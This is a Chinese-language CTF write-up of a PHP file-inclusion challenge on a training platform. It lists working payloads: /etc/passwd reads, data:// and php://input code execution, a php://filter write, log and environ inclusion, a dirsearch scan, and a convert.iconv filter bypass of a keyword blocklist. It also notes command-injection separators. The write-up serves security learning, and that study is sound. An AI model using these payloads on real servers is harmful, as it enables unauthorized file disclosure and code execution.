关键词 江苏工匠杯 文件包含漏洞 php封装器 攻防世界 ctf 解题wp convert.iconv.*
目录
前言
原题地址
文件包含
几次失败的测试
重新整理线索
细微处了解php封装器
总结
参考链接
关于上一题的unseping 回头看看那个匹配项 看到& : |这几个字符我突然就有了灵感绕过“/”
/(||&|;| |\/|cat|flag|tac|php|ls)/
假如我们执行两条命令
cd flag_1s_here;cat flag_831b69012c67b35f.php
cd flag_1s_here&&cat flag_831b69012c67b35f.php
这样就可以绕过“/”了 不过很遗憾;和& 这俩符号都被匹配到了
话不多说 开始这次ctf之旅
攻防世界https://adworld.xctf.org.cn/challenges/list
点击获取在线场景
居然直接告诉我 文件包含 那我就不客气了
直接?filename=/etc/passwd
开来是执行成功 接下来是找flag文件了 有没有注意到主页 还包含了check.php文件
这是干嘛的 先不管了 先包含以一个一句话 来获取shell试试
看看有没有远程文件包含
?filename=http://baidu.com/
没有反应 看来这个利用不了
我们知道include包含一个php文件 返回的是执行之后的 源码是看不到的 那么怎样才能看到源码呢。这就要请出php的封装了 让任意文件包含漏洞变成任意文件下载漏洞
简单的测试一下
php://filter/read=convert.base64-encode/resource=check.php
不行!!!()
之后我又尝试好几种方法
data流执行系统命令id (allow_url_indlude on)
data://text/plain;base64,PD9waHAgZWNobyBzaGVsbF9leGVjKGlkKTs/Pg==
do not hack
封装器文件写入phpinfo()
php://filter/write=convert.base64-decode/resource=test.php&txt=PD9waHAgcGhwaW5mbygpOyA/Pgo=
do not hack
POST方法 (allow_url_fopen on allow_url_include on)
?page=php://input system('id');?>
do not hack
用环境变量
file:///proc/self/environ
无 do not hack 但也不无返回结果
利用日志文件
file:///var/log/apache2/access.log file:///var/log/apache2/error.log
无 do not hack 但也不无返回结果
...
最后没有什么办法了 那我就扫描你目录了 看看有什么文件上传点
dirsearch -u http://61.147.171.105:60128/ -f -e html,txt,php,zip
再扫扫其他的文件 注意index.php/login 是误报
真是让人火大 我能使的招都使出来了 而且尝试文件包含一些系统默认的配置文件啊 shell的执行命令历史啊 都没有好的结果
...
...
...
重新梳理下心情 整合一下思路 为什么有的payload出现了do no hack ?包含的check.php是不是在检查什么?
最终我把注意力集中在
php://filter/read=convert.base64-encode/resource=check.php
再利用的过程中我发现即使包含一个没有的文件,格式写错 还会报do not hack
我怀疑check.php里也接受一个名为filename的参数 而且对参数进行了过滤
我在php封装器 单词与单词 敲打0 在敲到
php://filter/re0ad=con0vert.ba0se64-enc0ode/resource=check.php
停止了报错
看来check.php真的将一些关键词过滤了
尝试?filename=xxx 把这些过滤词找出来
read base encode 这些都被过滤了 只要出现这些关键字 就会返回do not hack
是不是说只要绕过了 或者 用别的去代替是不是就可以正确执行了
绕过我是真没找出来 只知道read是非必选项 看来是要细微地了解下php封装器了
php://filter/read=convert.base64-encode/resource=check.php
php://filter/read php://filter/write
read和write是可选性 一个为读 一个为写
resource= 指定过滤的数据流
php://filter/read=“这段的位置为过滤器”/resource=check.php
共有字符串过滤器 转换过滤器 压缩过滤器 加密过滤器
因为我们是要读取文件源码 需要用到转换过滤器(共三种)
convert.base64-encode & convert.base64-decode
这有 base encode 过滤了
convert.quoted-printable-encode & convert.quoted-printable-decode
这有encode 也不行事实在我测试的过程中 发现printable 也被过滤了
convert.iconv.* //格式如下
convert.iconv.
. or
convert.iconv.
/
尝试php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=check.php
居然又do not hack 可恶啊 经测试貌似过滤掉了BE
好在这个过滤器有支持很多编码 这家不行换一家
php://filter/convert.iconv.UTF-7.UCS-2/resource=check.php
终于得到了check.php的源码
真相揭开了 do not hack!产生的原因
那么flag现在哪里呢?
php://filter/convert.iconv.UTF-7.UCS-2/resource=flag.php
这过分了 为什么不在check.php文件里 添加flag在哪里 我用的dirsearch中默认字典中也没有flag.php
这样只能换字典 继续跑出来
这到题还是很考验你的知识储备的 要全 还有分析能力 要知道所以然 之后才能灵活运用
不过我对ctf的题属实不熟悉 才考虑了那么多的利用方式 忽略了check.php存在的意义
对flag放置点的套路 不是很熟悉。
通过这道题我也知道了原来封装器不只base64这一种方法 还有其他的转换器 学到了。
php://filter的各种过滤器_天问_Herbert555的博客-CSDN博客_php://filter rot13